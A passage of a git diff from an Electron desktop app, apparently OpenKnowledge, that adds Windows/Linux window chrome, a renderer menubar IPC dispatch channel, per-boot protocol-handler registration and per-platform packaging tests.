deps.app.setAsDefaultProtocolClient('openknowledge');+ if (!ok) {+ deps.log?.warn(+ {},+ '[url-scheme] packaged setAsDefaultProtocolClient returned false — openknowledge:// links may not reach this install',+ );+ }+ } catch (err) {+ deps.log?.warn({ err }, '[url-scheme] packaged setAsDefaultProtocolClient failed');+ }}/**diff --git a/packages/desktop/src/main/window-chrome.test.ts b/packages/desktop/src/main/window-chrome.test.tsnew file mode 100644index 000000000..9ebdbe271--- /dev/null+++ b/packages/desktop/src/main/window-chrome.test.ts@@ -0,0 +1,105 @@+import { describe, expect, test } from 'vitest';+import {+ applyThemeToWindow,+ buildNonDarwinChromeOpts,+ CHROME_BG,+ CHROME_SYMBOL,+ computeTitleBarOverlay,+ TITLEBAR_OVERLAY_HEIGHT,+} from './window-chrome.ts';++describe('computeTitleBarOverlay', () => {+ test('light theme uses light bg + dark symbols', () => {+ expect(computeTitleBarOverlay(false)).toEqual({+ color: CHROME_BG.light,+ symbolColor: CHROME_SYMBOL.light,+ height: TITLEBAR_OVERLAY_HEIGHT,+ });+ });++ test('dark theme uses dark bg + light symbols', () => {+ expect(computeTitleBarOverlay(true)).toEqual({+ color: CHROME_BG.dark,+ symbolColor: CHROME_SYMBOL.dark,+ height: TITLEBAR_OVERLAY_HEIGHT,+ });+ });++ test('overlay height matches the renderer chrome row (EditorHeader h-12)', () => {+ expect(TITLEBAR_OVERLAY_HEIGHT).toBe(48);+ });++ test('chrome tokens stay in lockstep with the committed FOUC-guard values', () => {+ // chrome-tokens-vite-plugin.ts resolves --sidebar to exactly these and+ // substitutes them into packages/app/index.html; the window chrome must+ // paint the same solid base or first-frame chrome mismatches the page.+ expect(CHROME_BG.light).toBe('#fafafa');+ expect(CHROME_BG.dark).toBe('#171717');+ });+});++describe('buildNonDarwinChromeOpts', () => {+ test('hidden titlebar + overlay + solid theme background + hidden native menu row', () => {+ const opts = buildNonDarwinChromeOpts(true);+ expect(opts.titleBarStyle).toBe('hidden');+ expect(opts.titleBarOverlay).toEqual(computeTitleBarOverlay(true));+ expect(opts.backgroundColor).toBe(CHROME_BG.dark);+ expect(opts.autoHideMenuBar).toBe(true);+ // The darwin-only vibrancy stack must never leak in here — a transparent+ // frameless window with no vibrancy is the "no usable chrome" failure+ // mode this module exists to fix.+ expect('vibrancy' in opts).toBe(false);+ expect('transparent' in opts).toBe(false);+ });+});++describe('applyThemeToWindow', () => {+ function makeWin(overrides: { destroyed?: boolean; overlayThrows?: boolean } = {}) {+ const calls: { bg: string[]; overlay: unknown[] } = { bg: [], overlay: [] };+ return {+ calls,+ win: {+ isDestroyed: () => overrides.destroyed ?? false,+ setBackgroundColor: (c: string) => calls.bg.push(c),+ setTitleBarOverlay: (o: unknown) => {+ if (overrides.overlayThrows) throw new Error('no overlay on this window');+ calls.overlay.push(o);+ },+ },+ };+ }++ test('darwin is a no-op (vibrancy tracks nativeTheme automatically)', () => {+ const { win, calls } = makeWin();+ applyThemeToWindow(win, 'darwin', true);+ expect(calls.bg).toHaveLength(0);+ expect(calls.overlay).toHaveLength(0);+ });++ test('win32 recolors background AND overlay', () => {+ const { win, calls } = makeWin();+ applyThemeToWindow(win, 'win32', true);+ expect(calls.bg).toEqual([CHROME_BG.dark]);+ expect(calls.overlay).toEqual([computeTitleBarOverlay(true)]);+ });++ test('linux recolors background only (setTitleBarOverlay is Windows-only)', () => {+ const { win, calls } = makeWin();+ applyThemeToWindow(win, 'linux', false);+ expect(calls.bg).toEqual([CHROME_BG.light]);+ expect(calls.overlay).toHaveLength(0);+ });++ test('destroyed window is skipped entirely', () => {+ const { win, calls } = makeWin({ destroyed: true });+ applyThemeToWindow(win, 'win32', true);+ expect(calls.bg).toHaveLength(0);+ expect(calls.overlay).toHaveLength(0);+ });++ test('an overlay-less window (setTitleBarOverlay throws) never propagates', () => {+ const { win, calls } = makeWin({ overlayThrows: true });+ expect(() => applyThemeToWindow(win, 'win32', false)).not.toThrow();+ expect(calls.bg).toEqual([CHROME_BG.light]);+ });+});diff --git a/packages/desktop/src/main/window-chrome.ts b/packages/desktop/src/main/window-chrome.tsnew file mode 100644index 000000000..b302dd7e1--- /dev/null+++ b/packages/desktop/src/main/window-chrome.ts@@ -0,0 +1,97 @@+/**+ * Per-platform window-chrome construction options (the windows-linux-port+ * chrome decision). macOS keeps the vibrancy/hiddenInset stack composed in `index.ts`;+ * this module owns the Windows/Linux half: `titleBarStyle: 'hidden'` ++ * `titleBarOverlay` (OS-drawn min/max/close floating over the renderer's+ * chrome row — the standard cross-platform frameless pattern) and a solid+ * theme-matched `backgroundColor` (no vibrancy analog off-mac; the+ * renderer's alpha-tinted surfaces composite over this solid base).+ *+ * Color values are the resolved `--sidebar` chrome tokens — the same values+ * `chrome-tokens-vite-plugin.ts` substitutes into `packages/app/index.html`'s+ * FOUC guard (`__OK_CHROME_BG_LIGHT__` / `__OK_CHROME_BG_DARK__`, resolved+ * from `globals.css`). Keep in lockstep with that plugin's committed+ * expectations: light `#fafafa` / dark `#171717`.+ *+ * The overlay height matches the renderer's `EditorHeader` chrome row+ * (`h-12` = 48px) so the OS controls vertically center on the same row the+ * custom menubar and drag region live in.+ *+ * Theme reactivity: construction options are read once per window, so+ * `index.ts` re-applies on `nativeTheme` 'updated' via+ * `applyThemeToWindow` — `setTitleBarOverlay` is Windows-only in Electron+ * (Linux keeps its creation-time overlay colors until relaunch; cosmetic+ * only), `setBackgroundColor` works everywhere.+ */++import type { BrowserWindowConstructorOptions } from 'electron';++export const TITLEBAR_OVERLAY_HEIGHT = 48;++export const CHROME_BG = { light: '#fafafa', dark: '#171717' } as const;+/** Symbol (glyph) color for the overlay window controls — the theme's foreground. */+export const CHROME_SYMBOL = { light: '#171717', dark: '#fafafa' } as const;++export interface TitleBarOverlayOptions {+ color: string;+ symbolColor: string;+ height: number;+}++export function computeTitleBarOverlay(isDark: boolean): TitleBarOverlayOptions {+ return {+ color: isDark ? CHROME_BG.dark : CHROME_BG.light,+ symbolColor: isDark ? CHROME_SYMBOL.dark : CHROME_SYMBOL.light,+ height: TITLEBAR_OVERLAY_HEIGHT,+ };+}++/**+ * The non-darwin slice of `DEFAULT_WIN_OPTS`. `autoHideMenuBar` keeps the+ * native menu bar (still installed for its accelerators — the renderer-menubar contract keeps+ * shortcuts on the hidden main-process Menu) from rendering a second menu+ * row above the custom titlebar chrome; Alt-taps on Windows can still+ * transiently summon it, which is acceptable (it holds the same items the+ * renderer menubar draws).+ */+export function buildNonDarwinChromeOpts(isDark: boolean): BrowserWindowConstructorOptions {+ return {+ titleBarStyle: 'hidden',+ titleBarOverlay: computeTitleBarOverlay(isDark),+ backgroundColor: isDark ? CHROME_BG.dark : CHROME_BG.light,+ autoHideMenuBar: true,+ };+}++interface ThemeableWindow {+ isDestroyed(): boolean;+ setBackgroundColor(color: string): void;+ setTitleBarOverlay?(options: TitleBarOverlayOptions): void;+}++/**+ * Re-apply theme-derived chrome to a live window after a theme flip.+ * Never throws: `setTitleBarOverlay` is Windows-only and also throws on+ * windows created without an overlay (e.g. if a future window type opts+ * out) — chrome recolor is cosmetic and must not take down the theme+ * handler.+ */+export function applyThemeToWindow(+ win: ThemeableWindow,+ platform: NodeJS.Platform,+ isDark: boolean,+): void {+ if (platform === 'darwin' || win.isDestroyed()) return;+ try {+ win.setBackgroundColor(isDark ? CHROME_BG.dark : CHROME_BG.light);+ } catch {+ // destroyed mid-iteration — nothing to recolor+ }+ if (platform === 'win32' && typeof win.setTitleBarOverlay === 'function') {+ try {+ win.setTitleBarOverlay(computeTitleBarOverlay(isDark));+ } catch {+ // overlay-less window (or platform refusal) — cosmetic, skip+ }+ }+}diff --git a/packages/desktop/src/main/worktree-setup-inherit.ts b/packages/desktop/src/main/worktree-setup-inherit.tsindex 22cf2a330..e4a6d9a77 100644--- a/packages/desktop/src/main/worktree-setup-inherit.ts+++ b/packages/desktop/src/main/worktree-setup-inherit.ts@@ -64,7 +64,7 @@ import { getLogger } from './desktop-logger.ts';/*** Version-INDEPENDENT prefix of OK's MCP chain sentinels. Every OK MCP entry —- * unix (`# ok-mcp-v1`, `CHAIN_VERSION_SENTINEL`) and Windows (`# ok-mcp-win-v1`,+ * unix (`# ok-mcp-v2`, `CHAIN_VERSION_SENTINEL`) and Windows (`# ok-mcp-win-v1`,* `CHAIN_WIN_VERSION_SENTINEL`, both in the CLI's `editors.ts`) — embeds a line* starting with this prefix, verbatim, regardless of format (JSON or TOML), and* `# ok-mcp-win-…` also contains it, so one prefix covers both platforms.diff --git a/packages/desktop/src/preload/index.ts b/packages/desktop/src/preload/index.tsindex 322e18c2e..f2e03c27d 100644--- a/packages/desktop/src/preload/index.ts+++ b/packages/desktop/src/preload/index.ts@@ -42,6 +42,7 @@ import type {OkLocalOpStream,OkMcpWiringShowPayload,OkMenuAction,+ OkMenuDispatchRequest,OkOnboardingShowPayload,OkPtyData,OkPtyExit,@@ -234,6 +235,12 @@ function readConfigFromArgv(): OkDesktopConfig {// when OTel is enabled in main; the renderer extracts it to parent its startup// span into the launch trace. Absent → renderer skips the startup span.const startupTraceparent = parseArg('startup-traceparent');+ // Terminal-dock pty capability (windows-linux-port terminal posture): node-pty is+ // bundled on macOS only, so off-mac the renderer must hide the terminal+ // affordances rather than let a spawn fail. Platform is the whole signal —+ // a mac install with a broken node-pty still surfaces the existing+ // spawn-error UX, which is the correct diagnostic there.+ const ptyAvailable = process.platform === 'darwin';return Object.freeze({collabUrl,apiOrigin,@@ -244,6 +251,7 @@ function readConfigFromArgv(): OkDesktopConfig {singleFile,initialDoc,freshlyCreated,+ ptyAvailable,...(startupTraceparent !== undefined ? { startupTraceparent } : {}),});}@@ -710,6 +718,13 @@ const bridge: OkDesktopBridge = {},},+ menu: {+ // Windows/Linux renderer-menubar dispatch (windows-linux-port renderer menubar). One discriminated+ // channel; rejections propagate — the menubar surfaces a failed query+ // as its unwired default state rather than swallowing silently.+ dispatch: (request: OkMenuDispatchRequest) => invoke('ok:menu:dispatch', request),+ },+startup: {reportMarks: (marks: { pageListReadyMs: number; firstContentMs: number }) => {// Fire-and-forget renderer→main push of the two launch checkpoints.diff --git a/packages/desktop/src/shared/bridge-contract.ts b/packages/desktop/src/shared/bridge-contract.tsindex 27a1397c8..b82fc134a 100644--- a/packages/desktop/src/shared/bridge-contract.ts+++ b/packages/desktop/src/shared/bridge-contract.ts@@ -174,6 +174,16 @@ export interface OkDesktopConfig {* the desktop + app copies (the core mirror keeps the minimal config shape).*/readonly startupTraceparent?: string;+ /**+ * Whether an interactive PTY can be spawned in this install — the terminal+ * dock's plain-terminal-tab capability gate. `false` on Windows/Linux+ * (node-pty is not bundled there; the terminal dock is dark off-mac), so+ * the renderer hides the terminal affordances instead of surfacing a spawn+ * failure. Gates only the pty-tab surface — future non-pty dock content+ * (e.g. ACP threads) must not key off this. Lockstep with the app-side+ * `OkDesktopConfig`.+ */+ readonly ptyAvailable: boolean;}/** Menu-action IDs fired by main → renderer on user menu selection. */@@ -833,6 +843,64 @@ export interface OkEditorViewMenuStateSnapshot {readonly terminalLive?: boolean;}+/**+ * Windows/Linux renderer-menubar dispatch payloads (the windows-linux-port+ * renderer-menubar decision). macOS keeps the native menu bar; win/linux draw it in the+ * renderer and route every click through main via `menu.dispatch` so menu+ * semantics stay single-sourced: `menu-action` relays through the same+ * dispatch path the native menu items use, `role` maps onto Electron's+ * built-in menu roles, `command` covers the main-side click handlers+ * (navigator, folder picker, settings, updater…), and `query` returns the+ * aggregated state the native menu renders from. Same shapes as+ * `MenuDispatch*` in `ipc-channels.ts` — duplicated for the+ * module-resolution reason the wider `OkDesktopBridge` is duplicated.+ */+export type OkMenuDispatchRole =+ | 'undo'+ | 'redo'+ | 'cut'+ | 'copy'+ | 'paste'+ | 'selectAll'+ | 'reload'+ | 'forceReload'+ | 'toggleDevTools'+ | 'resetZoom'+ | 'zoomIn'+ | 'zoomOut'+ | 'toggleFullScreen'+ | 'minimize'+ | 'close'+ | 'quit';++export type OkMenuDispatchCommand =+ | 'open-navigator'+ | 'open-folder-dialog'+ | 'clear-recent-projects'+ | 'open-settings'+ | 'check-for-updates'+ | 'reconfigure-mcp-wiring'+ | 'open-github'+ | 'toggle-spell-check';++export type OkMenuDispatchRequest =+ | { readonly kind: 'query' }+ | { readonly kind: 'menu-action'; readonly action: OkMenuAction }+ | { readonly kind: 'command'; readonly command: OkMenuDispatchCommand }+ | { readonly kind: 'open-recent-project'; readonly path: string }+ | { readonly kind: 'role'; readonly role: OkMenuDispatchRole };++/** `query` result — the same aggregated state the native menu renders from. */+export interface OkMenuRendererSnapshot {+ readonly recentProjects: ReadonlyArray<{ readonly path: string; readonly name: string }>;+ readonly spellCheckEnabled: boolean;+ readonly showDevToolsMenu: boolean;+ readonly canCheckForUpdates: boolean;+ readonly canReconfigureMcpWiring: boolean;+ readonly activeTarget: OkEditorActiveTargetSnapshot;+ readonly viewMenuState: OkEditorViewMenuStateSnapshot;+}+/*** Payload for `onServerVersionDrift` — the desktop attached to a server whose* version differs from the running app's (most often a prior version's@@ -1896,6 +1964,18 @@ export interface OkDesktopBridge {notifyViewMenuStateChanged(state: Partial<OkEditorViewMenuStateSnapshot>): void;};+ /**+ * Windows/Linux renderer-menubar dispatch surface (windows-linux-port+ * renderer-menubar decision). macOS keeps the native menu bar and never calls this; on+ * win/linux the renderer-drawn menu bar routes every click through main+ * so menu semantics live in one place. `query` resolves the aggregated+ * `OkMenuRendererSnapshot`; every other kind performs the action+ * main-side and resolves undefined.+ */+ menu: {+ dispatch(request: OkMenuDispatchRequest): Promise<OkMenuRendererSnapshot | undefined>;+ };+/*** Startup-instrumentation push surface (desktop launch waterfall). The* renderer reports its two launch checkpoints — page-list ready and firstdiff --git a/packages/desktop/src/shared/ipc-channels.ts b/packages/desktop/src/shared/ipc-channels.tsindex d1a198366..62b6c51f4 100644--- a/packages/desktop/src/shared/ipc-channels.ts+++ b/packages/desktop/src/shared/ipc-channels.ts@@ -53,11 +53,14 @@* added the two Cmd+K / native-menu command invokes: `ok:mcp-wiring:reconfigure`* (File → "Set up OpenKnowledge integrations…") and `ok:spellcheck:toggle`* (Edit → "Check spelling while typing"), each delegating to an existing- * main-side function. The 85→86 bump added File → "Open file…"- * (`ok:project:open-file-picker`): the palette / Navigator entry point to the+ * main-side function. The 85→87 bumps added File → "Open file…"+ * (`ok:project:open-file-picker`, the palette / Navigator entry point to the* temporary single-file session, delegating to the existing main-side picker +- * `openEphemeralFile` (the desktop side of `ok <file>`). Full rationale in the- * ratchet test header.+ * `openEphemeralFile`) and the ACP unified terminal+thread dock order+ * (`ok:terminal:set-dock-state`). The 87→88 bump reconciled the Windows/Linux+ * desktop port: the win/linux renderer menubar (`ok:menu:dispatch`, a+ * discriminated fold per the sharing-dispatch precedent — the custom-drawn menu+ * bar's whole surface in one slot). Full rationale in the ratchet test header.*/import type {@@ -95,6 +98,7 @@ import type {OkDesktopConfig,OkLocalOpAuthReposResponse,OkLocalOpAuthStatusResponse,+ OkMenuAction,OkPtyAdoptResult,OkPtyCreateResult,OkPtyListEntry,@@ -651,6 +655,73 @@ export interface EditorViewMenuStateSnapshot {readonly terminalLive?: boolean;}+/**+ * Renderer-menubar → main dispatch payloads (the windows-linux-port renderer-menubar decision).+ * On Windows/Linux the menu bar is custom-drawn in the renderer (macOS+ * keeps the native one); every click routes through the single+ * `ok:menu:dispatch` channel so main stays the authority on menu+ * semantics — `menu-action` relays through the exact `sendMenuActionToFocused`+ * path the native menu items use, `role` maps to the Electron menu roles+ * the native template gets for free, `command` covers the main-side click+ * handlers (navigator, folder picker, settings, updater…), and `query`+ * returns the same aggregated state that drives the native menu's+ * enable/check rendering.+ *+ * **DRIFT WARNING — mirrored in four places** (same lockstep contract as+ * `EditorViewMenuStateSnapshot` above; the ipc-channels copy is the one the+ * call-site check misses):+ *+ * 1. `packages/desktop/src/shared/ipc-channels.ts` — this copy+ * 2. `packages/desktop/src/shared/bridge-contract.ts` — `OkMenuDispatch*`+ * 3. `packages/core/src/desktop-bridge.ts` — canonical `OkMenuDispatch*`+ * 4. `packages/app/src/lib/desktop-bridge-types.ts` — renderer-side copy+ */+export type MenuDispatchRole =+ | 'undo'+ | 'redo'+ | 'cut'+ | 'copy'+ | 'paste'+ | 'selectAll'+ | 'reload'+ | 'forceReload'+ | 'toggleDevTools'+ | 'resetZoom'+ | 'zoomIn'+ | 'zoomOut'+ | 'toggleFullScreen'+ | 'minimize'+ | 'close'+ | 'quit';++export type MenuDispatchCommand =+ | 'open-navigator'+ | 'open-folder-dialog'+ | 'clear-recent-projects'+ | 'open-settings'+ | 'check-for-updates'+ | 'reconfigure-mcp-wiring'+ | 'open-github'+ | 'toggle-spell-check';++export type MenuDispatchRequest =+ | { readonly kind: 'query' }+ | { readonly kind: 'menu-action'; readonly action: OkMenuAction }+ | { readonly kind: 'command'; readonly command: MenuDispatchCommand }+ | { readonly kind: 'open-recent-project'; readonly path: string }+ | { readonly kind: 'role'; readonly role: MenuDispatchRole };++/** `query` result — the same aggregated state the native menu renders from. */+export interface MenuRendererSnapshot {+ readonly recentProjects: ReadonlyArray<{ readonly path: string; readonly name: string }>;+ readonly spellCheckEnabled: boolean;+ readonly showDevToolsMenu: boolean;+ readonly canCheckForUpdates: boolean;+ readonly canReconfigureMcpWiring: boolean;+ readonly activeTarget: EditorActiveTargetSnapshot;+ readonly viewMenuState: EditorViewMenuStateSnapshot;+}+export interface RequestChannels {/** Open native folder-picker. Canonical properties live in `dialog-helpers.ts`. */'ok:dialog:open-folder': {@@ -1469,6 +1540,18 @@ export interface RequestChannels {args: [state: Partial<EditorViewMenuStateSnapshot>];result: undefined;};+ /**+ * Renderer-menubar dispatch (the windows-linux-port renderer-menubar decision). One+ * discriminated channel (the `ok:sharing:dispatch` precedent) for the+ * custom-drawn Windows/Linux menu bar: `query` returns the aggregated+ * `MenuRendererSnapshot`; every other kind performs the menu semantics+ * main-side and resolves `undefined`. Never registered as multiple+ * channels — the menubar is one surface.+ */+ 'ok:menu:dispatch': {+ args: [request: MenuDispatchRequest];+ result: MenuRendererSnapshot | undefined;+ };/*** Docked-terminal PTY surface (`ok:pty:*`). The renderer creates one PTYdiff --git a/packages/desktop/tests/integration/ipc-channel-count-ratchet.test.ts b/packages/desktop/tests/integration/ipc-channel-count-ratchet.test.tsindex 50a01ca2b..144b90e66 100644--- a/packages/desktop/tests/integration/ipc-channel-count-ratchet.test.ts+++ b/packages/desktop/tests/integration/ipc-channel-count-ratchet.test.ts@@ -350,8 +350,20 @@ const CHANNELS_SRC = readFileSync(SRC_PATH, 'utf-8');* delegating to the existing main-side picker + `openEphemeralFile` (the* desktop side of `ok <file>`). Single member; the typed-ipc migration remains* the committed end state, with the `ipc-channels.ts` header in lock-step.+ *+ * Bumped from 87 to 88 merging the Windows/Linux desktop port: the win/linux+ * renderer menubar (`ok:menu:dispatch`, the windows-linux-port renderer-menubar+ * decision): macOS keeps the native menu bar, but win/linux draw it in the+ * renderer, and every click routes back through main so menu semantics stay+ * single-sourced. Follows the `ok:sharing:dispatch` discriminated-union+ * precedent — query / menu-action relay / role / command all share ONE channel,+ * so the whole custom-menubar surface costs one slot forever. Could not fold+ * into an existing channel: `ok:menu-action` is an EventChannel (main→renderer+ * push, wrong direction) and no renderer→main menu surface exists. The typed-ipc+ * migration remains the committed end state, with the `ipc-channels.ts` header+ * updated in lock-step.*/-const REQUEST_CHANNEL_CAP = 87;+const REQUEST_CHANNEL_CAP = 88;/*** Extract the body of an interface block by name. Returns the substringdiff --git a/packages/desktop/tests/main/url-scheme-handler.test.ts b/packages/desktop/tests/main/url-scheme-handler.test.tsindex 55e8f1025..ee8c4361d 100644--- a/packages/desktop/tests/main/url-scheme-handler.test.ts+++ b/packages/desktop/tests/main/url-scheme-handler.test.ts@@ -191,7 +191,10 @@ describe('registerProtocolHandler — setAsDefaultProtocolClient', () => {expect(env.app.setAsDefaultProtocolClient).toHaveBeenCalledWith('openknowledge');});- test('does NOT call setAsDefaultProtocolClient in packaged builds', () => {+ test('does NOT call setAsDefaultProtocolClient in packaged darwin builds', () => {+ // macOS packaged installs rely on the CFBundleURLTypes binding owned by+ // LaunchServices — pin platform explicitly: the CI test host is Linux,+ // where packaged builds DO self-heal (next test).const env = makeEnv({ isPackaged: true });registerProtocolHandler({app: env.app,@@ -200,10 +203,32 @@ describe('registerProtocolHandler — setAsDefaultProtocolClient', () => {sendDeepLink: env.sendDeepLink,getAnyReadyWindow: env.getAnyReadyWindow,setTimeout: (cb, ms) => env.timers.push({ cb, ms }),+ platform: 'darwin',});expect(env.app.setAsDefaultProtocolClient).not.toHaveBeenCalled();});+ for (const platform of ['win32', 'linux'] as const) {+ test(`packaged ${platform} builds self-heal the scheme binding per boot`, () => {+ // Windows resolves openknowledge:// from HKCU\Software\Classes and+ // Linux from the .desktop database — both user-mutable and+ // installer-dependent, so packaged builds re-assert at every boot+ // (windows-linux-port deep-link posture). No before-quit removal.+ const env = makeEnv({ isPackaged: true });+ registerProtocolHandler({+ app: env.app,+ focusWindowForProject: env.focusWindowForProject,+ openProject: env.openProject,+ sendDeepLink: env.sendDeepLink,+ getAnyReadyWindow: env.getAnyReadyWindow,+ setTimeout: (cb, ms) => env.timers.push({ cb, ms }),+ platform,+ });+ expect(env.app.setAsDefaultProtocolClient).toHaveBeenCalledWith('openknowledge');+ expect(env.app.on).not.toHaveBeenCalledWith('before-quit', expect.anything());+ });+ }+test('logs a warn when setAsDefaultProtocolClient returns false', () => {// Per Electron docs the method is non-throwing; `false` signals the OS// refused the binding. Must surface as a warn so developers don't starediff --git a/packages/desktop/tests/smoke/mcp-wiring.e2e.ts b/packages/desktop/tests/smoke/mcp-wiring.e2e.tsindex 48bcbef40..926cfaba2 100644--- a/packages/desktop/tests/smoke/mcp-wiring.e2e.ts+++ b/packages/desktop/tests/smoke/mcp-wiring.e2e.ts@@ -233,7 +233,7 @@ test.describe('M6b first-launch MCP-wiring smoke (US-010)', () => {// to every byte of the chain text. Byte-exact verification lives in the// CLI unit tests (`editors.test.ts`).expect(typeof okEntry?.args?.[2]).toBe('string');- expect(okEntry?.args?.[2]).toContain('# ok-mcp-v1');+ expect(okEntry?.args?.[2]).toContain('# ok-mcp-v2');} finally {forceRemove([], tmpHome);}diff --git a/packages/desktop/tests/unit/bridge-contract-types.test.ts b/packages/desktop/tests/unit/bridge-contract-types.test.tsindex 1fdeb94a6..89a7a12ab 100644--- a/packages/desktop/tests/unit/bridge-contract-types.test.ts+++ b/packages/desktop/tests/unit/bridge-contract-types.test.ts@@ -22,17 +22,29 @@* test files are not shipped in the production bundle.*/-import { describe, expect, test } from 'bun:test';-import type { OkDesktopBridge as AppBridge } from '../../../app/src/lib/desktop-bridge-types.ts';+import { describe, expect, test } from 'vitest';+import type {+ OkDesktopBridge as AppBridge,+ OkMenuDispatchRequest as AppMenuDispatchRequest,+ OkMenuRendererSnapshot as AppMenuRendererSnapshot,+} from '../../../app/src/lib/desktop-bridge-types.ts';import type {OkDesktopBridge as CoreBridge,+ OkMenuDispatchRequest as CoreMenuDispatchRequest,+ OkMenuRendererSnapshot as CoreMenuRendererSnapshot,OkEditorViewMenuStateSnapshot as CoreViewMenuState,} from '../../../core/src/desktop-bridge.ts';import type {+ OkMenuDispatchRequest as BridgeMenuDispatchRequest,+ OkMenuRendererSnapshot as BridgeMenuRendererSnapshot,OkEditorViewMenuStateSnapshot as BridgeViewMenuState,OkDesktopBridge as DesktopBridge,} from '../../src/shared/bridge-contract.ts';-import type { EditorViewMenuStateSnapshot as IpcViewMenuState } from '../../src/shared/ipc-channels.ts';+import type {+ MenuDispatchRequest as IpcMenuDispatchRequest,+ MenuRendererSnapshot as IpcMenuRendererSnapshot,+ EditorViewMenuStateSnapshot as IpcViewMenuState,+} from '../../src/shared/ipc-channels.ts';type Eq<X, Y> = (<T>() => T extends X ? 1 : 2) extends <T>() => T extends Y ? 1 : 2 ? true : false;@@ -64,3 +76,34 @@ describe('EditorViewMenuStateSnapshot 4-way structural equivalence', () => {expect(_eq).toBe(true);});});++describe('MenuDispatchRequest / MenuRendererSnapshot 4-way structural equivalence', () => {+ // Same lockstep contract as EditorViewMenuStateSnapshot above: the+ // ipc-channels copy is reached only through the channel-args layer, so a+ // field added to the bridge copies but dropped there assigns silently+ // (superset → subset) and main never sees it. The `role`/`command` unions+ // are covered transitively — they are members of the request union.+ test('core ≡ bridge-contract ≡ app (OkMenuDispatchRequest)', () => {+ const _coreBridge: Eq<CoreMenuDispatchRequest, BridgeMenuDispatchRequest> = true;+ const _coreApp: Eq<CoreMenuDispatchRequest, AppMenuDispatchRequest> = true;+ expect(_coreBridge).toBe(true);+ expect(_coreApp).toBe(true);+ });++ test('core ≡ ipc-channels (MenuDispatchRequest)', () => {+ const _eq: Eq<CoreMenuDispatchRequest, IpcMenuDispatchRequest> = true;+ expect(_eq).toBe(true);+ });++ test('core ≡ bridge-contract ≡ app (OkMenuRendererSnapshot)', () => {+ const _coreBridge: Eq<CoreMenuRendererSnapshot, BridgeMenuRendererSnapshot> = true;+ const _coreApp: Eq<CoreMenuRendererSnapshot, AppMenuRendererSnapshot> = true;+ expect(_coreBridge).toBe(true);+ expect(_coreApp).toBe(true);+ });++ test('core ≡ ipc-channels (MenuRendererSnapshot)', () => {+ const _eq: Eq<CoreMenuRendererSnapshot, IpcMenuRendererSnapshot> = true;+ expect(_eq).toBe(true);+ });+});diff --git a/packages/desktop/tests/unit/electron-builder-cli-native-deps.test.ts b/packages/desktop/tests/unit/electron-builder-cli-native-deps.test.tsindex 707205f18..b39bd42a2 100644--- a/packages/desktop/tests/unit/electron-builder-cli-native-deps.test.ts+++ b/packages/desktop/tests/unit/electron-builder-cli-native-deps.test.ts@@ -1,7 +1,7 @@-import { describe, expect, test } from 'bun:test';import { existsSync, readdirSync, readFileSync } from 'node:fs';import { dirname, resolve } from 'node:path';import { fileURLToPath } from 'node:url';+import { describe, expect, test } from 'vitest';import { parse } from 'yaml';/**@@ -56,23 +56,39 @@ function readNeverBundle(): string[] {}}-function readExtraResourceTargets(): string[] {- try {- const cfg = parse(readFileSync(builderYml, 'utf8')) as {- extraResources?: Array<{ to?: string }>;- };- return (cfg.extraResources ?? []).map((r) => r.to ?? '').filter(Boolean);- } catch {- return [];- }+function readExtraResourceTargets(platform?: 'mac' | 'win' | 'linux'): string[] {+ return readExtraResources(platform)+ .map((r) => r.to ?? '')+ .filter(Boolean);}type ExtraResourceRule = { from?: string; to?: string; filter?: string[] | string };-function readExtraResources(): ExtraResourceRule[] {+type BuilderConfig = {+ extraResources?: ExtraResourceRule[];+ mac?: { extraResources?: ExtraResourceRule[] };+ win?: { extraResources?: ExtraResourceRule[] };+ linux?: { extraResources?: ExtraResourceRule[] };+};++/**+ * Platform-specific `extraResources` merge with the top-level list at build+ * time (electron-builder semantics), so coverage here reads them merged the+ * same way. `platform` narrows to one platform's effective rule set.+ */+function readExtraResources(platform?: 'mac' | 'win' | 'linux'): ExtraResourceRule[] {try {- const cfg = parse(readFileSync(builderYml, 'utf8')) as { extraResources?: ExtraResourceRule[] };- return cfg.extraResources ?? [];+ const cfg = parse(readFileSync(builderYml, 'utf8')) as BuilderConfig;+ const top = cfg.extraResources ?? [];+ if (!platform) {+ return [+ ...top,+ ...(cfg.mac?.extraResources ?? []),+ ...(cfg.win?.extraResources ?? []),+ ...(cfg.linux?.extraResources ?? []),+ ];+ }+ return [...top, ...(cfg[platform]?.extraResources ?? [])];} catch {return [];}@@ -117,17 +133,29 @@ describe('bundled CLI can resolve tsdown neverBundle native addons', () => {});}- test("'@napi-rs/keyring' ships the wrapper AND an arm64 platform binary", () => {+ test("'@napi-rs/keyring' ships the wrapper AND a platform binary on every platform", () => {// The wrapper (@napi-rs/keyring) requires its sibling platform package at- // runtime; both must be on the CLI's resolution path. arm64-only matches- // the arm64-only DMG (see `mac.target` in electron-builder.yml).+ // runtime; both must be on the CLI's resolution path. The wrapper is+ // platform-neutral JS and ships from the top-level list; each platform+ // block ships its own binary package(s): darwin arm64-only (matches the+ // arm64-only DMG, see `mac.target`), win/linux both arches (per-arch+ // installers share one static extraResources list).expect(targets).toContain('cli/node_modules/@napi-rs/keyring');- const hasPlatform = targets.some((t) => t === 'cli/node_modules/@napi-rs/keyring-darwin-arm64');- expect(- hasPlatform,- "Ship '@napi-rs/keyring-darwin-arm64' into cli/node_modules — the wrapper " +- 'requires its platform binary sibling at runtime.',- ).toBe(true);+ const expectedPerPlatform: Record<'mac' | 'win' | 'linux', string[]> = {+ mac: ['keyring-darwin-arm64'],+ win: ['keyring-win32-x64-msvc', 'keyring-win32-arm64-msvc'],+ linux: ['keyring-linux-x64-gnu', 'keyring-linux-arm64-gnu'],+ };+ for (const [platform, pkgs] of Object.entries(expectedPerPlatform)) {+ const platformTargets = readExtraResourceTargets(platform as 'mac' | 'win' | 'linux');+ for (const pkg of pkgs) {+ expect(+ platformTargets,+ `Ship '@napi-rs/${pkg}' into cli/node_modules for ${platform} — the wrapper ` ++ 'requires its platform binary sibling at runtime.',+ ).toContain(`cli/node_modules/@napi-rs/${pkg}`);+ }+ }});test('keyring copy sources exist at the hoisted root node_modules', () => {@@ -150,6 +178,32 @@ describe('bundled CLI can resolve tsdown neverBundle native addons', () => {});});+/**+ * Every platform must ship an `ok` CLI wrapper into `cli/bin/` — it is the+ * PATH-install target (mac symlinks, deb /usr/bin symlink, NSIS user-PATH+ * dir) and the path MCP clients hold in their configs. The wrapper file+ * differs per platform (bundle layouts differ), the destination does not.+ */+describe('per-platform ok CLI wrapper ships to cli/bin', () => {+ test('mac + linux ship a cli/bin/ok.sh; win ships ok.cmd + ok.ps1', () => {+ 